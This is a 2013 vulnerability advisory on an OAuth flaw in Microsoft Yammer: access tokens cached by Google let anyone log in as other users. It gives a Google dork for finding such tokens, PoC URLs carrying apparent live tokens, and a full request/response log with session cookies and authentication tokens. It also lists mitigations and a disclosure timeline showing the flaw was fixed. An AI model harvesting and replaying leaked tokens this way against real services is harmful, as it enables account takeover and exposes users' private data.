Microsoft Yammer – OAuth Bypass & Token Vulnerability

Microsoft Yammer – OAuth Bypass & Token Vulnerability

At 2013-07-31 we got the info mail of the microsoft security response center regarding a submission of july. The advisory and security vulnerability report has been written by Ateeq Khan a new member of the vulnerability laboratory core research team. Ateeq's location is pakistan and he is a well known security researcher and penetration tester. The vulnerability report of Ateeq Khan is about a new remote oauth bypass vulnerability in the microsoft yammer social network online-service web application.

The Oauth 2 protocol is all about authenticating the Client (consumer key and secret) and the User to the Server, but not the other way around. There is no protocol support to check the authenticity of the Server during the handshakes. So essentially, through phishing or other exploits, user requests can be directed to a malicious Server where the User can receive malicious or misleading payloads. This could adversely impact the Users, but also the Client and Server in terms of their credibility and bottom-line. It has been discovered that due to insecure implementation of OAuth on the Yammer network, it is possible to steal other user profiles by simply requesting a leaked access token which can be accquired from public accessable search engine results. (Google`s Cache) and or by other possible means. During the testing, the researcher was able to accquire sensitive information (valid access_tokens) using Google search engine and upon further testing it was revealed that by including the access token directly in the browser through an HTTPS request, it is possible to log on to Yammer as the affected user. The session gets authenticated without entering the login/password credentials. Using the google search engine, the researchers was able to find a particular link listed publically in the results and upon requesting that link directly in the browser, the researcher was instantly logged in as the given `user` with full priviledge to the profile. We have explained all steps in the POC section for further analysis. Please note, We were able to find atleast 2 valid tokens using Google search engine cache results. The variable that is revealed public is located in the Yammer API module in the /api/v1/messages?access_token=[Valid Token Here] parameter. The fact that search engine bots are able to capture live user session data / sensitive URL parameters in its cache which is public accessable by everyone should be noticed and fixed immediately. Also the fact that by requesting the access token directly in your browser through HTTPS, it simply logs you in the Yammer social network as the affected user is also alarming. This vulnerability results in a complete compromise of the affected accounts, user profile and the associated risk is critical. Exploitation of the vulnerability requires no user interaction and also no registered Yammer account is required. To capture the session the attacker can use a random empty session as form to request.

Vulnerable Service(s): Microsoft Yammer Social Network Vulnerable Parameter(s): api/access_token PoC:

The remote auth bypass vulnerability can be exploited by remote attacker without privileged application user account or user interaction. For demonstration or reproduce ...

1) Use the following Google dork to find the valid access tokens listed publically in the search engine cache results.

Google Dork: site:yammer.com inurl:'access_token'

1) Open the POC link #1 in your browser https://www.yammer.com/api/v1/messages?access_token=NPLpzPsWdtCeXaKxBGA (You will be directly authenticated as the affected user upon requesting this link)

2) Open another browser tab and visit the Yammer social network website (https://www.yammer.com) 3) You will now be redirected to the user profile with full access and priviledges hence proving the existence of this vulnerability.

PoC Link #2: https://www.yammer.com/api/v1/messages?access_token=cQ5AwEgUocADLNQPUncVuQ

PoC Example: https://[SERVER]/[API]/[VERSION]/[FILE]?access_token=[Bypass]

Note: You can use any of the Two given links mentioned above to reproduce this POC.Other sensitive links captured from search engine cache:

https://www.yammer.com/oauth2/access_token?client_id=zlFlQNVPwAL2EdBefl8... &code=GA8HWbcqk461mWOk4uLcQ https://www.yammer.com/ccure.it/signup/new_email_confirmation?activation... --- PoC Request & Response Session Logs --- HTTP GET Request GET /api/v1/messages?access_token=cQ5AwEgUocADLNQPUncVuQ HTTP/1.1 Host: www.yammer.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Cookie: _workfeed_session_id=dd9fa728ce6dc861df3cba09e46dc800; yamtrak_id=fc24240f-5d58-40e9-a647-e1bed7232e5b; __utma=253772928.1821170373.1373278291.1373278291.1373316169.2; __utmc=253772928; __utmz=253772928.1373278291.1.1.utmcsr=(direct)| utmccn=(direct)|utmcmd=(none); WT_FPC=id=115.186.111.196-3513600256.30305614:lv=1373269393265:ss=1373269370644; WT_NVR=0=/: 1=enterprisesns.com; kvcd=1373316182244; km_ai=YKAMlAV8CfR7RVANZHFvRaE6psA%3D; km_uq=; km_lv=x; __ar_v4=BUIR53QGUNCHPAA5IDCCTB%3A20130707%3A3%7C5EWZRLDA4NDSLFONDMVGDZ%3 A20130707%3A3%7CF3JVO7OG3NEMZA2LRFRDZD %3A20130707%3A2%7CQF74DUYCSFC4HP47P56MLN%3A20130707%3A1; __utmb=253772928.2.10.1373316169; km_vs=1; browser_token=2be660391eb2600cf 5c4b4dfa3fa9f0d0515eb0d; unverified_email=ateeq%40ccure.it HTTP Response: HTTP/1.1 200 OK Server: nginx Date: Mon, 08 Jul 2013 20:51:37 GMT Content-Type: application/xml; charset=utf-8 Connection: keep-alive Status: 200 OK ETag: "250c045d140d9c3cfdc554d69e5c387e" Access-Control-Allow-Methods: OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, VERSION-CONTROL, REPORT, CHECKOUT, CHECKIN, UNCHECKOUT, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE-CONTROL, MKACTIVITY, ORDERPATCH, ACL, SEARCH, PATCH Cache-Control: max-age=0, private, must-revalidate X-UA-Compatible: IE=Edge,chrome=1 Access-Control-Allow-Headers: Content-Type, X-Requested-With, NETWORK_ID, Authorization, X-CSRF-Token Access-Control-Allow-Origin: https://ymodules.yammer.com X-Runtime: 0.444532 X-Date: 1373316697937 Access-Control-Allow-Credentials: true X-XSS-Protection: 1; mode=block Content-Length: 70544 <?xml version="1.0" encoding="UTF-8"?> <response> <meta> <current-user-id>10490568</current-user-id> <direct-from-body>false</direct-from-body> <followed-user-ids> <followed-user-id>10638646</followed-user-id> </followed-user-ids> <feed-name>Company Feed</feed-name> <realtime> <channel-id>MTozNTc3OTc6MzU3Nzk3</channel-id> <authentication-token>9mP6fBnFfNlUvZGG0Bwt5nUPJBxmlRqoaG3bMiBsMqJ4nKtW

Ki1OLVKyMjQwsTQwNbPQUcpLLSnPL8pWsjI2NTe3NNdRSq0oyCyqBCoxNje1t DQ1sDSvBQCsgA8z</authentication-token> <uri>https://1-087.rt.yammer.com/cometd/</uri> </realtime> <feed-desc>jungletorch.com's public messages</feed-desc> <older-available>true</older-available> <followed-references> <followed-reference> <type>open_graph_object</type> <id>344060296338433</id> </followed-reference> </followed-references> <ymodules/> <requested-poll-interval>60</requested-poll-interval> </meta> <references> <reference> <type>thread</type> <web-url>https://www.yammer.com/jungletorch.com/#/Threads/show?threadId=289043199... <direct-message>false</direct-message> Connection: keep-alive

Ateeq explained also an universal solution in the advisory document from the perspective of the remote attacker ...

TLS/SSL is the recommended approach to prevent any eavesdropping during the data exchange. Search Engine bots crawling should be restricted from capturing sensitive URL parameters from user sessions. Also user notifications should be enabled if an authentication request is being performed through the HTTPS protocol. Furthermore, Resource Providers can limit the likelihood of a replay attack from a tampered request by implementing protocol`s Nonce and Timestamp attributes. The value of oauth_nonce attribute is a randomly generated number to sign the Client request, and the oauth_timestamp defines the retention timeframe of the Nonce. Insecure Storage of Secrets: Protecting the integrity of the Client Credentials and Token Credentials works fairly well when it comes to storing them on servers. The secrets can be isolated and stored in a database or file-system with proper access control, file permission, physical security, and even database or disk encryption. For securing Client Credentials on mobile application clients, follow security best practices for storing sensitive, non-stale data such as application passwords and secrets.

Microsoft Security Response Center (MSRC) ID: 15126

2013-07-09: Researcher Notification & Coordination (Ateeq Khan)
2013-07-10: Vendor Notification (Microsoft Security Response Center)
2013-07-11: Vendor Response/Feedback (Microsoft Security Response Center)
2013-07-31: Vendor Fix/Patch (Microsoft Developer Team)
2013-08-04: Public Disclosure (Vulnerability Laboratory)

At the end he reproduced the vulnerability and recorded a session by accessing a test account ...

Advisory: http://www.vulnerability-lab.com/get_content.php?id=1003

Video: http://www.youtube.com/watch?v=SwxWNvmOsU4